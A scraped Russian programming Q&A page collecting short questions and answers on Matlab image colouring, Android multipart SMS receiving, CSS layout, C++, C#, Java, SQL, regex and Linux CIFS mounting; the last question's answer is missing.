Страницы

Поиск по вопросам

среда, 19 декабря 2018 г.

Сделать монохромное тепловизионное изображение разноцветным

Вопрос. Нужно монохромное тепловизионное изображение сделать разноцветным с помощью Matlab. Каким образом можно это реализовать, зная только диапазон температур? Как составить алгоритм?


Ответ

Допустим мы умеем на основании черно-белой картинки сопоставлять значение яркости с температурой. Если известен только диапазон температур то можно предполагать линейную зависимость между температурой и яркостью. Теперь берем значение яркости/температуры и строим цветовую модель HSV (hue-saturation-value), где нашу яркость из черно-белой картинки сопоставляем с компонентой Hue (цветность). Самая высокое значение температуры принимаем за красный цвет (hue=0), самое низкую температуру за темно-синий (hue=270) Задаемся некими фиксированными значениями S - насыщенности цвета и V - яркости) Формируем полный цвет по модели HSV (при необходимости переводя его в RGB пространство).

Как перехватить СМС состоящее из 2 или 3 СМС из приложения для андроид

Мой ресивер, он отлично работает когда приходят короткие смс, но при больших, перехватывает кусками. @Override public void onReceive(Context context, Intent intent) { Log.d(LOG_TAG, "onReceive()"); Bundle bundle = intent.getExtras();
SmsMessage[] msgs = null; SmsMessage[] phonenum = null;//
if (bundle != null) { // ---retrieve the SMS message received--- Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length]; for (int i = 0; i < msgs.length; i++) { msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]); body += msgs[i].getMessageBody().toString(); }
// ---retrieve the SMS senders number --- phonenum = new SmsMessage[pdus.length]; for (int i = 0; i < phonenum.length; i++) { phonenum[i] = SmsMessage.createFromPdu((byte[]) pdus[i]); PhoneNUMBER += phonenum[i].getOriginatingAddress(); } Получается так, что если приходит большое сообщение, состоящее из 2 или 3 смс, то он его полностью не берет, а помещает в переменную body, только первую часть, а остальные вообще не обрабатывает. Получается пользователь видит первое СМС, цельной картины не видит, а остальные смс приходят обычным путем, через уведомление. Так вот хотел узнать как перехватывать такие сообщения?


Ответ

Держи кусочек код для перехвата мультипартных смсок. Возвращает Map private Map retrieveMessages(Intent intent) { Map msg = null; SmsMessage[] msgs = null; Bundle bundle = intent.getExtras(); if (bundle != null && bundle.containsKey("pdus")) { Object[] pdus = (Object[]) bundle.get("pdus"); if (pdus != null) { int nbrOfpdus = pdus.length; msg = new HashMap(nbrOfpdus); msgs = new SmsMessage[nbrOfpdus]; // There can be multiple SMS from multiple senders, there can be a maximum of nbrOfpdus different senders // However, send long SMS of same sender in one message for (int i = 0; i < nbrOfpdus; i++) { msgs[i] = SmsMessage.createFromPdu((byte[]) pdus[i]); String originatinAddress = msgs[i].getOriginatingAddress(); // Check if index with number exists if (!msg.containsKey(originatinAddress)) { // Index with number doesn't exist // Save string into associative array with sender number as index msg.put(msgs[i].getOriginatingAddress(), msgs[i].getMessageBody()); } else { // Number has been there, add content but consider that // msg.get(originatinAddress) already contains sms:sndrNbr:previousparts of SMS, // so just add the part of the current PDU String previousparts = msg.get(originatinAddress); String msgString = previousparts + msgs[i].getMessageBody(); msg.put(originatinAddress, msgString); } } } } return msg; } Update Вызов: Map msgs = retrieveMessages(intent); for (String address : msgs.keySet()) String msg = msgs.get(address); //сообщение от адресата

Div. Занять оставшееся место

Возникла проблема с блочной вёрсткой. Допустим, у нас есть 3 блока:


Ширина sidebar-left и sidebar-right равна 300px и 250px соответственно. sidebar-left находится слева, sidebar-right – справа, content – между ними.
Как сделать так, чтобы ширина content занимала всё оставшееся место?


Ответ

Вводим дополнительный блок wrapper и работаем с дивами как с таблицей. И резиновое и вашим требованиям соответствует.
.wrapper { display: table; width: 100%; } .sidebar-left { width: 300px; display: table-cell; height: 200px; background: red; } .content { display: table-cell; height: 200px; background: green; } .sidebar-right { width: 250px; display: table-cell; height: 200px; background: blue; }


http://jsfiddle.net/en7dv0jw/
Извиняюсь за дублирование css свойств.

Как найти произведение всех чисел в векторе?

Подскажите, есть ли такая функция для вектора целых чисел?


Ответ

Да, почти. Есть функция, которая умеет сворачивать (fold). Ей нужно передать два дополнительных параметра - начальное значение (в случае умножения это 1, это логично) и что делать с элементами (умножать). Вот код #include // std::cout #include // std::multiplies #include // std::accumulate #include
int main () { int init = 1; std::vector numbers = {10,20,30};
std::cout << std::accumulate( numbers.begin(), // начало для умножения numbers.end(),// конец для умножения init,// начальное значение std::multiplies());// готовая функция умножения. std::cout << '
';
return 0; }

Ошибка при авторизации в VK через приложение на node.js

Добрый день, товарищи!
Возникла проблема - не могу справиться с авторизацией через ВК в своем приложении (node.js + express.js + passport.js). При попытке авторизации браузер показывает следующее сообщение:
{"error":"invalid_request","error_description":"redirect_uri is incorrect, check application domain in the settings page"}
Все делал по примеру c данной страницы: Passport-VKontakte


Ответ

Убедитесь, что у вас адрес домена в redirect_url и базовый домен в приложении (в вконтакте) совпадают.

Алгоритм Дейкстры. Почему все веса должны быть больше, либо равны нулю?

Сидел, читал про алгоритм Дейкстры и Форда-Беллмана. В определении данных алгоритмов есть условие - всё веса рёбер должны быть больше, либо равны нулю. Объяснения не нашел. Почему накладывается такое условие?


Ответ

На самом деле все по-другому.
Алгоритм Дейкстры является в некотором роде "жадным" - найдя один раз минимальный путь до вершины, он фиксирует его как минимальный навсегда - поскольку путь через другие вершины не может быть короче найденного.
Но в графе с отрицательными дугами это не так! Рассмотрим такой вот граф, заданный матрицей смежности:
+---+---+---+---+ | | А | Б | В | +---+---+---+---+ | А | | 4 | 2 | +---+---+---+---+ | Б | | |-3 | +---+---+---+---+ | В | | | | +---+---+---+---+
Запустим алгоритм Дейкстры из вершины А. На первом шаге у нас будут расстояния до вершин Б и В - 4 и 2 соответственно, поэтому алгоритм решит, что уже нашел кратчайший путь к вершине В - ведь кратчайший путь к В никак не может идти через Б, не так ли? С сожалению, не так - очевидно, путь А-Б-В на самом деле короче чем А-В
Поэтому алгоритм Дейкстры не может работать при наличии в графе отрицательных дуг.
Алгоритм же Форда-Беллмана (он же алгоритм Беллмана-Форда) таких предположений не делает - а потому может работать почти на любых графах, ценой значительного замедления по сравнению с Дейкстрой. Почему я говорю "почти на любых"? Потому что алгоритм Форда-Беллмана все равно не может работать на графах с отрицательными циклами.
Просто потому что понятие "кратчайший путь" в таких графах не определено. Всегда можно пройтись по отрицательному циклу еще один раз - и получить еще более короткий путь.
Тем не менее, существует модификация алгоритма Беллмана-Форда, которая позволяет обнаружить цикл отрицательного веса в графе. Достаточно ограничить количество итераций количеством вершин в графе - после чего сделать еще одну итерацию. До вершин, веса которых обновились на последней итерации, не существует кратчайшего пути из-за цикла.
Ну и последнее. Если рассматривать неориентированный граф - то надо помнить, что в нем любое ребро отрицательного веса автоматически создает цикл отрицательного веса из двух вершин.

Как выводить на экран и вводить данные типа wchar_t[]?

Вопрос в том, как это сделать на Windows. На Linux-е это просто
setlocale(LC_CTYPE, ""); //а потом wprintf ...
На Windows такое не катит. Желательно, чтобы вышло как-то так.
#ifdef __linux__ setlocale(LC_CTYPE, ""); #elif defined _WIN32 //Windows #else
Нужно для вывода кириллицы, иероглифов и т. п. Нужен именно wchar_t
P. S. MinGW gcc -dumpversion 4.8.1
P. P. S. На MS Visual C++ 2010 работает ответ 1 (без stdafx.h)


Ответ

О мой бог, cygwin мне помог... -- говорил когда-то святой Георгий.
Cygwin выручил и меня!
#ifdef __linux__ setlocale(LC_CTYPE, ""); #elif defined _WIN32 //Windows #else
Теперь и этого не надо!
Просто
setlocale(LC_CTYPE, "");
Работает и на Linux, и на Windows (cygwin1.dll).
Версия компилятора g++: 4.9.2
Версия Windows: XP SP3

Как получить хэш от произвольного класса для unordered контейнера?

Для того чтобы использовать в качестве ключа собственный класс в unordered_map (к примеру) необходимо определить хэш функцию. Пример с cppreference.com
template<> struct hash { typedef S argument_type; typedef std::size_t result_type;
result_type operator()(argument_type const& s) const { result_type const h1 ( std::hash()(s.first_name) ); result_type const h2 ( std::hash()(s.last_name) ); return h1 ^ (h2 << 1); } };
это касается двух полей, меня смущает этот момент h1 ^ (h2 << 1) я видел примеры без сдвига и теперь не совсем понимаю как мне проецировать этот пример на большее число полей, по какому правилу. Я могу сделать просто h1 ^ h2 ^ ... ^ h(n) ? или же каждый последующий хэш мне нужно сдвигать? h1 ^ ( h2 << 1 ) ^ ... ^ ( h(n) << n )?
Не хотелось бы столкнуться с коллизиями, их будет очень сложно обнаружить, но подпортят работу они значительно.


Ответ

На самом деле, лучше всего стараться «перемешивать» хэшкоды как можно больше. Например, Jon Skeet приводит такой пример
result_type hash = (result_type)2166136261; hash = hash * 16777619 ^ std::hash()(s.first_name); hash = hash * 16777619 ^ std::hash()(s.second_name); hash = hash * 16777619 ^ std::hash()(s.third_name); return hash;
Код
h1 ^ h2 ^ ... ^ h(n)
считается неправильным, потому что довольно часто поля имеют одинаковые значения и имеют равные хэши (а для целочисленных полей часто в качестве хэша используется само поле). Поскольку при операции ^ равные значения взаимно уничтожаются, то у нас получается меньшее количество хэш-значений и соответственно много коллизий.
Также популярный вариант такой:
result_type hash = start; hash = hash * factor + std::hash()(s.first_name); hash = hash * factor + std::hash()(s.second_name); hash = hash * factor + std::hash()(s.third_name); return hash;
(им пользуется Java и .NET) для подходящего значения start и factor. В качестве factor обычно используется небольшое простое число, наподобие 13 или там 29. start должно быть по идее взаимно простым с factor (например, другое простое число, обычно побольше).

Вот хорошая обзорная статья (на английском) по различным методикам вычисления хэша.

Entity Framework и юнит тесты

Доброго времени суток!
У меня есть такой вопрос: у меня есть веб-прриложение asp.net mvc которое работает с базой данных через Entity Framework.
Для работы с Entity я создал класс-провайдер выполняющий стандартные CRUD операции. Хотелось бы все это дело покрыть юнит тестами как у крутых мужиков. Но слышал что юнит тесты не должны работать с базой данных. И это вроде как логично - допустим я хочу потестировать операции вставки, обновления и удаления у своего репозитория но будет странно если тестовый код будет осуществлять эти операции с реальной базой (пусть даже и тестовой).
Пример теста с использованием Moq найденный на просторах интернета
// интерфейс репозитория interface IRepository : IDisposable { List GetComputerList(); Computer GetComputer(int id); void Create(Computer item); void Update(Computer item); void Delete(int id); }
// тестовый метод [TestMethod] public void IndexViewBagMessage() { var mock = new Mock(); mock.Setup(a => a.GetComputerList()).Returns(new List() { new Computer()}); // какая то логика тестирования }
Но тогда возникает вопрос - а какой у этого всего смысл? Ведь в моке мы подставляем фейковые данные. То есть я вроде кк хочу протестировать работу моего репозитория а вместо этого методы самого репозитория не используются, а вместо них используются подставные данные из мока.
Отсюда вопрос: как все же правильно будет тестировать репозиторий и в чем смысл найденного мной примера?


Ответ

Смысл вашего примера — тестирование работы куска кода, который работает с репозиторием. Для него репозиторий подменяется на фейк.
Для тестирования самого репозитория вам нужно фейкнуть то, с чем он работает — то есть, базу данных. Тестируйте настоящий репозиторий на тестовой базе данных, ничего плохого в этом не вижу.
В любом случае, для «вертикальной» структуры приложения, если вы тестируете уровень X, вы в тестах подставляете фейковые нижележащие структуры данных/объекты (которые эмулируют уровень X + 1), а вышележащие объекты (то есть, те, которые работают с вашим уровнем X), заменяются на код теста.

Регулярное выражение для строки из чисел, не начинающейся с нуля

Ожидание: строка содержит или 1 или 2 числа, строка не может начаться с 0
Пробую так: "^[1-9]\\d{1,2}&" - не подходит Пробую так2: ^[^0]\\d{1,2}& - не подходит (числа 12, 9, 33 и др не принимаются)
Что я делаю не так? по литературе [^pattern] должно исключить вхождение, а где ^-& должно проверить строгое вхождение чисел


Ответ

строка содержит или 1 или 2 числацифр, строка не может начаться с 0
Рекомендую использовать
^[1-9]\\d?$
Это выражение находит строки из 1-й или 2-х цифр, не начинающиеся с 0
Демо
^ - начало строки [1-9] - 1 цифра от 1 до 9 (0 исключен) \\d? - 1 или 0 цифр $ - конец строки
NB: При использовании String.matches метасимволы ^ и $ не требуются.

Ёлка на конcоли

Нужно реализовать вот что: Написал код:
class Program { static void Main(string[] args) { AnotherTriangle ob = new AnotherTriangle(); ob.CreateTriangle();
Console.ReadLine(); } } class AnotherTriangle { int n; string result = "*"; public void CreateTriangle() { flag1: Console.Write("Введите желаемую количество треугольников: "); n = int.Parse(Console.ReadLine()); Console.WriteLine(); if (n <= 0) { Console.WriteLine("Неправильный ввод данных
"); goto flag1; } string s = "*".PadLeft(n); for (int i = 0; i < n; i++) { Console.WriteLine(s); s = s.Substring(1) + "**"; for (int j = 0; j < n; j++) { Console.WriteLine(s); } } } }
В итоге получилась башня, но никак не равнобедренные треугольники. Прошу помочь или навести на дельную мысль. Причём нужно, чтобы пользователь мог вводить произвольное количество треугольников.


Ответ

Так как я уже ответил на Ваш вопрос здесь, копирую сюда ответ:
Console.WriteLine("Введите желаемое количество треугольников: "); int n = int.Parse(Console.ReadLine());
for (int i = 1; i <= n; i++) { for (int j = 0; j < i; j++) { string branch = new String('*', j); Console.WriteLine(branch.PadLeft(n + 3) + "*" + branch); } }
Рабочий пример.

Можно ли написать “абстрактный” enum?

Есть такой enum:
public enum AlbumPrivacy {
public_(0), friendsOnly(1), familyOnly(2), friendsAndFamily(3), private_(4);
private final int _value; private static AlbumPrivacy[] _values;
private AlbumPrivacy(int value) { _value = value; }
public int getValue() { return _value; }
public static AlbumPrivacy fromInt(int i) { if (_values == null) _values = AlbumPrivacy.values();
for (AlbumPrivacy b : _values) { if (b.getValue() == i) { return b; } } return null; } }
Зачем такое нагородил? Удобно, когда пишешь в базу - быстро сохранять в int и назад.
Но очень не удобно для каждого нового enum писать копию кода. А извернуться и убрать эту дубликацию кода нельзя?
И второй вопрос - правильно ли я сделал, что храню список values, а не каждый раз дёргаю при вызове fromInt?
UPD:
Может тогда вот так сделать:
public class EnumUtils {
private static Map, Object[]> _enums;
@SuppressWarnings("unchecked") public static > T fromInt(Class clazz, int index) { if (_enums == null) _enums = U2.map();
Object[] values = _enums.get(clazz);
if (values == null) { Enum[] _values = clazz.getEnumConstants(); values = new Object[_values.length];
for (int i = 0; i < _values.length; i++) values[i] = _values[i];
_enums.put(clazz, values); }
return (T) values[index]; } }
А enum объявлять по простому, без всяких номеров.
UPD2:
public static > T fromInt(Class clazz, int index) { return clazz.getEnumConstants()[index]; }


Ответ

У каждого enum и так есть порядковое значение поля — метод ordinal(). Если у вас все value идут по порядку, посто делайте
public enum AlbumPrivacy { public_, // 0 friendsOnly, // 1 familyOnly, // 2 friendsAndFamily, // 3 private_; // 4 }
Для определения номера по enum:
int n = AlbumPrivacy.friendsOnly.ordinal();
Для определения enum по номеру:
AlbumPrivacy value = AlbumPrivacy.values()[3];
Если вас это не устраивает (скажем, номера могут идти с дырками), можно во-первых, реализовать интерфейс, а во-вторых сделать метод fromInt универсальным.
interface Ordinal { int getValue(); }
public enum AlbumPrivacy implements Ordinal {
public_(0), friendsOnly(1), familyOnly(2), friendsAndFamily(3), private_(4);
private final int _value;
private AlbumPrivacy(int value) { _value = value; }
@Override public int getValue() { return _value; } }
// Где-нибудь в утилитном классе: public static & Ordinal> T fromInt(Class clazz, int i) { T[] values = clazz.getEnumConstants(); for(T value : values) { if(value.getValue() == i) return value; } throw new IllegalArgumentException(); }

SELECT в хранимых функциях

Есть обычная функция:
CREATE OR REPLACE FUNCTION ISFUNC(ID IN NUMBER) RETURN VARCHAR2 IS BEGIN
IF (ID = 2 OR ID = 5) THEN RETURN('TRUE'); ELSE RETURN('FALSE'); END IF;
END ISFUNC; /
Суть ее вроде бы понятна. Как в нее можно вставить SELECT? Т.е. чтобы в IF были не конкретные числа, а результат селекта? Пусть, например, есть такой SELECT:
SELECT id FROM Table
Результатом этого селекта являются две строки: 2 и 5.
Как правильно вставить этот SELECT в функцию? Пытался в сам IF, но понял, что не правильно.


Ответ

Попробуйте так:
CREATE OR REPLACE FUNCTION ISFUNC(ID IN NUMBER) RETURN VARCHAR2 IS l_exst number; BEGIN SELECT count(*) INTO l_exst FROM Table t WHERE t.id = ID;
IF (l_exst <> 0) THEN RETURN('TRUE'); ELSE RETURN('FALSE'); END IF; END ISFUNC; /
или
CREATE OR REPLACE FUNCTION ISFUNC(ID IN NUMBER) RETURN VARCHAR2 IS BEGIN FOR x IN ( SELECT ID FROM Table ) LOOP IF (ID = x.ID) THEN RETURN('TRUE'); END IF; END LOOP; RETURN('FALSE'); END ISFUNC; /

Ошибка при монтировании удаленной фс: “mount: wrong fs type, bad option”

Пытаюсь монтировать удаленную файловую систему:
sudo mount -t cifs "//some.url/path" '~/local.path' -o username=$(whoami),rw,iocharset=utf8,uid=1000,noperm
Получаю ошибку с довольно неопределенным комментарием. В чем проблема, как монтировать?
mount: wrong fs type, bad option, bad superblock on some.url/path, missing codepage or helper program, or other error (for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount. helper program) In some cases useful info is found in syslog - try dmesg | tail or so.


Ответ

В данном случае релевантна та часть сообщения об ошибке, которая говорит об утилите, необходимой для работы с файловой системой cifs
for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount. helper program
Для монтирования требуемой файловой системы, например cifs или nfs, необходимо установить соответствующие утилиты.
Проверить возможность работы:
ls -l /sbin/mount.cifs ls -l /sbin/mount.nfs
Установлен ли пакет:
dpkg -l cifs-utils dpkg -l nfs-common
Установить (пример для Debian/Ubuntu, аналогичные пакеты есть для других пакетных менеджеров):
sudo apt-get install cifs-utils sudo apt-get install nfs-common

Метод, возвращающий разные типы данных C#

Есть буфер в котором находится много значений переменных.Переменные записаны последовательно следующей структурой: сначала идет идентификатор типа данных(больше 20 вариантов), длинна данных и собственно сами данные. Вот в таком виде я примерно хочу получить ответ от метода (Код естественно не рабочий).
public var AnsParse(byte[] Array) { switch (Array[0]) { case 1: { int rezult = Array[2]; break; } case 2: { bool rezult = Array[2]; break; }
} return rezult; }
Есть ли возможность обойти это?


Ответ

Все объекты в C# наследники типа object, по этому вы можете использовать вместо var object.
А вообще я рекомендую вам воспользоваться generic'ами.
Использовать их можно например так:
class Program { static List GetInitializedList(T value, int count) { // This generic method returns a List with ten elements initialized. // ... It uses a type parameter. // ... It uses the "open type" T. List list = new List(); for (int i = 0; i < count; i++) { list.Add(value); } return list; }
static void Main() { // Use the generic method. // ... Specifying the type parameter is optional here. // ... Then print the results. List list1 = GetInitializedList(true, 5); List list2 = GetInitializedList("Perls", 3); foreach (bool value in list1) { Console.WriteLine(value); } foreach (string value in list2) { Console.WriteLine(value); } } }

Как сделать рамку вокруг EditText

Как сделать желтую рамку вокруг EditText?
И как потом изменить цвет этой рамки? :)
Вот эта желтая рамка:


Ответ

как я понял Вам нужно это

Создаем файл EditTextStyle.xml в папке drawable


Добавляем атрибут в EditText android:background="@drawable/EditTextStyle"

должно помоч (на английском)
UPD:
И как потом изменить цвет этой рамки? :)
меняете эти строки
... ... android:startColor="#C8C8C8" android:endColor="#FFFFFF" ...
UPD 2:
Как увеличить отступ синей рамки от текста? Он прилегает в плотную
для этого нужно добавить padding на EditText

Объект-тип и индекс блока синхронизации

Начал читать книгу Рихтера и наткнулся там на такие понятия, как объект-тип и индекс блока синхронизации. Не нашел там четкого определения.
Дайте определения этим понятиям, расскажите для чего они нужны, приведите примеры.


Ответ

Объект-тип - это указатель на тип объекта. Он недоступен программисту напрямую без всяческих колдунств, поскольку предназначен для самой CLR
Индекс блока синхронизации предназначен для целого ряда целей. Но основная его задача - это обеспечение работы объекта в условиях многопоточности. Вероятно, вам знакомо такое ключевое слово, как lock. Оно используется для синхронизации доступа к объекту из нескольких потоков (то есть позволяет выполнять некий блок кода только одним потоком, заставляя остальные потоки ждать своей очереди). Пример:
private int _i; private object _syncObject = new object();
public int Increment() { lock (_syncObject) { return ++_i; // только один поток сможет выполнить эту инструкцию } }
Однако сам lock - это лишь синтаксический сахар, разворачивающийся в нечто наподобие
private int _i; private object _syncObject = new object();
public int Increment() { bool acquired = false;
try { Monitor.Enter(_syncObject, ref acquired); return ++_i; } finally { if (acquired) Monitor.Exit(_syncObject); } }
При необходимости синхронизации CLR создает структуру, которая называется блоком синхронизации. Этот блок содержит слабую ссылку на объект синхронизации ("слабая" означает, что сам объект, на который указывает эта ссылка, может быть удален сборщиком мусора, невзирая на эту ссылку) и ссылку на монитор, который используется для синхронизации. Сам блок синхронизации хранится в массиве, который называется таблицей блоков синхронизации. А индекс блока синхронизации - это индекс в таблице блоков синхронизации, по которому расположен соответствующий данному объекту блок синхронизации. При этом для подавляющего большинства объектов никакого блока синхронизации не создается вообще, а индекс блока синхронизации равен -1, поскольку большинство создаваемых объектов никогда не используются для синхронизации потоков, а следовательно, затраты времени и памяти на выделение блоков синхронизации для них бессмысленно.
Кроме того индекс блока синхронизации может использоваться в качестве хэш-кода этого объекта в случае, если механизм генерации хэш-кода не был переопределен

Приложение из Android Studio запускается, а с устройства нет

Здравствуйте,помогите разобраться в чем причина.. Пишу приложение в Android Studio.
Запускаю кнопкой Run. На подключенном устройстве все запускается. Ошибок нет, работает как надо. : ................................................................................................................................................................ Но если я запускаю это приложение с телефона нажатием по значку.

То не запускается. Сначала белый экран. Потом темный и все... висит..

Я предполагаю что это как то связано с тем что я в setContentView() помещаю класс DrawSurface(this). Потому что с R.layout.activity_circle не возникает проблем. Вот код:
public class CircleActivity extends Activity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(new DrawSurface(this)); //setContentView(R.layout.activity_circle); } }
Класс DrawSurface:
public class DrawSurface extends SurfaceView implements SurfaceHolder.Callback{
private DrawThread thread; private String TAG = "LOG";
public DrawSurface(Context context){ super(context); getHolder().addCallback(this); thread = new DrawThread(getHolder(), this); setFocusable(true); }
@Override public void surfaceCreated(SurfaceHolder holder) { thread.setRunning(true); thread.start(); }
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
}
public void surfaceDestroyed(SurfaceHolder holder) { boolean retry = true; while(retry){ try{ thread.join(); retry = false; }catch(InterruptedException e){
} } }
public boolean onTouchEvent(MotionEvent event){ if(event.getAction()== MotionEvent.ACTION_DOWN){ thread.touchX = event.getX(); thread.touchY = event.getY(); Log.d(TAG, "Coords: x=" + event.getX() + ",y=" + event.getY()); } return true; } }
Класс DrawThread:
public class DrawThread extends Thread{ private double speedMoveX = 1; private double speedMoveY = 1; private double Y0 = 0; private double Angle = 1; private Random rand; private double gravityForce = 1; private int newAngle = 0; private Bitmap myBitmap; private long prevTime; private float X=0; private float Y=0; protected float touchX=-40; protected float touchY=-40; private Paint paint; private Paint paintScore; private int currentScore = 0; private int textSize = 54;
private boolean running = false; private SurfaceHolder surfaceHolder; private DrawSurface drawSurface; private String LOG_TAG = "LOG";
public DrawThread(SurfaceHolder surfaceHolder, DrawSurface drawSurface){ super(); this.surfaceHolder = surfaceHolder; prevTime = System.currentTimeMillis(); rand = new Random(); Angle = rand.nextInt(25); paint = new Paint(); paintScore = new Paint(); paintScore.setTextSize(textSize); }
public void setRunning(boolean running){ this.running = running; } public void updateCord(){
X += speedMoveX * Math.cos(Angle * Math.PI / 180); Y += speedMoveY * Math.sin(Angle * Math.PI / 180);
if (Y > Y0+9.8){ speedMoveY += gravityForce; Y0 = Y; } if (X > 420){ X = 420; speedMoveX = -speedMoveX; } if (X < 60){ X = 60; speedMoveX = -speedMoveX; } if (Y >= 760){ Y = 760; speedMoveY = -speedMoveY; } if (Y < 60){ Y = 60; speedMoveY = -speedMoveY; } }
private boolean isHit(){ boolean hit = false; if(touchX > X-60 && touchX < X+60 && touchY > Y-60 && touchY public void run(){ Log.d(LOG_TAG, "Starting game loop"); long tickCount=0; Canvas canvas = null; paint.setColor(Color.BLACK); paint.setStrokeWidth(8);
while (running){ tickCount++;
long now = System.currentTimeMillis(); long elapsedTime = now - prevTime; /* if (elapsedTime > 1){ prevTime = now; updateCord(); }*/ try { canvas = surfaceHolder.lockCanvas(null); if (canvas == null) continue; canvas.drawColor(Color.GRAY); Log.d("LOG onDraw()", "onDraw()"); canvas.drawText("touchX = " + touchX + ", touchY = " + touchY, 10, 20, paint); canvas.drawText("Score:",200,50,paintScore); canvas.drawText(currentScore+"" ,360,50,paintScore); canvas.drawCircle(X, Y,60, paint); if (isHit()){ currentScore++; paint.setColor(Color.BLUE); Angle = rand.nextInt(20); X = rand.nextInt(330); Y = rand.nextInt(760); } else{ paint.setColor(Color.RED); touchX=-40; touchY=-40; } }finally { if (canvas != null){ surfaceHolder.unlockCanvasAndPost(canvas); } } } Log.d(LOG_TAG, "Game loop executes"+tickCount+" times"); } }
Вот AndroidManifect.xml :


Ответ

Проблема решена!;)
В классе DrawSurface в методе public void surfaceDestroyed()
public class DrawSurface extends SurfaceView implements SurfaceHolder.Callback{ ...//... ...//...
public void surfaceDestroyed(SurfaceHolder holder) { boolean retry = true; thread.setRunning(false); ////// Нужно добавить эту строку!/////// while(retry){ try{ thread.join(); retry = false; }catch(InterruptedException e){} } } }

Как пометить класс как [Serializable] ,если он подгружается из dll

Я использую dll файлы в моем проекте. Как пометить класс как сериализуемый атрибутом [serializable]. Я не имею исходного кода, только dll файл, на который есть ссылка в моем классе. Я хочу сделать его сериализуемым, чтобы использовать состояние представления для моего объекта, который использует dll. Использую бинарную сериализацию. Как решить проблему?


Ответ

Если вы можете вручную, кодом, извлечь из такого объекта все нужные свойства, то можно использовать механизм Surrogate Selector. Код честно взят из MSDN. Employee - тот самый "внешний" класс, на который нельзя поставить [Serializable]
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters; using System.Runtime.Serialization.Formatters.Binary;
// This class is not serializable. class Employee { public String name, address;
public Employee(String name, String address) { this.name = name; this.address = address; } }
// This class can manually serialize an Employee object. sealed class EmployeeSerializationSurrogate : ISerializationSurrogate {
// Serialize the Employee object to save the object's name and address fields. public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context) {
Employee emp = (Employee) obj; info.AddValue("name", emp.name); info.AddValue("address", emp.address); }
// Deserialize the Employee object to set the object's name and address fields. public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) {
Employee emp = (Employee) obj; emp.name = info.GetString("name"); emp.address = info.GetString("address"); return null; } }
public sealed class App { static void Main() { // This sample uses the BinaryFormatter. IFormatter formatter = new BinaryFormatter();
// Create a MemoryStream that the object will be serialized into and deserialized from. using (Stream stream = new MemoryStream()) { // Create a SurrogateSelector. SurrogateSelector ss = new SurrogateSelector();
// Tell the SurrogateSelector that Employee objects are serialized and deserialized // using the EmployeeSerializationSurrogate object. ss.AddSurrogate(typeof(Employee), new StreamingContext(StreamingContextStates.All), new EmployeeSerializationSurrogate());
// Associate the SurrogateSelector with the BinaryFormatter. formatter.SurrogateSelector = ss;
try { // Serialize an Employee object into the memory stream. formatter.Serialize(stream, new Employee("Jeff", "1 Microsoft Way")); } catch (SerializationException e) { Console.WriteLine("Serialization failed: {0}", e.Message); throw; }
// Rewind the MemoryStream. stream.Position = 0;
try { // Deserialize the Employee object from the memory stream. Employee emp = (Employee) formatter.Deserialize(stream);
// Verify that it all worked. Console.WriteLine("Name = {0}, Address = {1}", emp.name, emp.address); } catch (SerializationException e) { Console.WriteLine("Deserialization failed: {0}", e.Message); throw; } } } }
// This code produces the following output. // // Name = Jeff, Address = 1 Microsoft Way
т.е. сериализоваться будет класс без аттрибута [Serializable], но как именно его сериализовать - вам придется описать самому.

C++ - некорректное определение отдельного символа в строке

Всем привет! Проблема заключается в следующем - имеются Linux с Code:Blocks IDE и g++ в качестве компилятора, программный код C++, а так же символьная строка (string либо char []), которой присваивается текст в кириллических символах. При выводе всей строки, выводимый текст в консоли отображается нормально. Но если обращаться к любому отдельному элементу строки, то вместо символа выводится вопросительный знак на фоне ромба и я так понимаю, что сама программа не может определить - какой это символ, так как условный оператор на него не реагирует. Кодировка естественно - Unicode (UTF-8).
#include #include
using namespace std;
int main () { string word = "Слово"; cout << word; //нормально выводится "Слово" cout << word [0]; //выводится '?' if (word [0] == "С") cout << word [0]; //оператор if считает, что false return 0; }
UPD: в общем и целом мне не нужна была большая программа, поэтому я просто создал отдельную строку, к которой присваивается необходимая пара элементов проверяемой строки содержащая один нужный символ ([0], [1]; [2], [3] и тд). Полученную строку вполне удаётся использовать в условных операторах:
#include #include
using namespace std;
int main () { string word = "Слово", letter; letter += word [0]; letter += word [1]; if (letter == "С") cout << letter;//true, выводится "С" return 0; }
Разумеется, это выглядит топорно, но на мой взгляд это самый простой способ в контексте, скажем например, университетской лабораторной работы. Спасибо всем за помощь и полезную информацию (=


Ответ

Кодировка UTF-8 это многобайтовая кодировка, один символ может кодироваться несколькими байтами.
В частности русские буквы кодируются двумя байтами, например 'ы' кодируется как "\xd1\x8b".
Когда Вы пытаетесь напечатать один байт закодированной буквы, например "\xd1" или "\x8b", то выводится как знак вопроса, потому что это не валидная UTF-8 строка.

Чем отличается sleep от wait?

Чем отличается TimeUnit.SECONDS.sleep(1); от this.wait(1000)?


Ответ

wait может быть "разбужен" другим потоком с использованием notify, sleep не может. Так же wait (иnotify) должны в быть synchronized блоке.
Object obj = ...; synchronized (obj) { obj.wait(); }
Пока текущий (выполняющийся) поток - ожидает waits и releases, другой поток может сделать
synchronized (obj) { obj.notify(); }
(на том же obj) и первый поток проснётся. Можно так же вызвать notifyAll, если более одного потока ожидают - это разбудит их всех. Тем не менее, только один из потоков сможет захватить монитор (т.к. wait в synchronized блоке).
Ещё одно различие в том, что wait вызывается на Object, в то время как sleep вызывается на Thread
Если суммировать, то используйте sleep() для time-syncronization и wait() для multi-thread-synchronization.

Сделать первую букву большой в строке

Есть строка САНКТ-ПЕТЕРБУРГ, как мне привести ее в строку Санкт-Петербург? Сплитить строку, переводить весь текст в нижний регистр, потом увеличивать первую букву, потом соединять не есть хорошо. Мб есть более красивое решение?)


Ответ

Попробуйте метод TextInfo.ToTitleCase
CultureInfo.CurrentCulture.TextInfo.ToTitleCase(str.ToLower());
Пример: dotnetfiddle

Много папок в node_modules , причина в Gulp или npm

При установки какого либо пакета, например gulp-sass , в папке node_modules возникает много папок. Раньше такого у меня не было, не могу понять в чем причина. Неужели это новый npm так работает?


Ответ

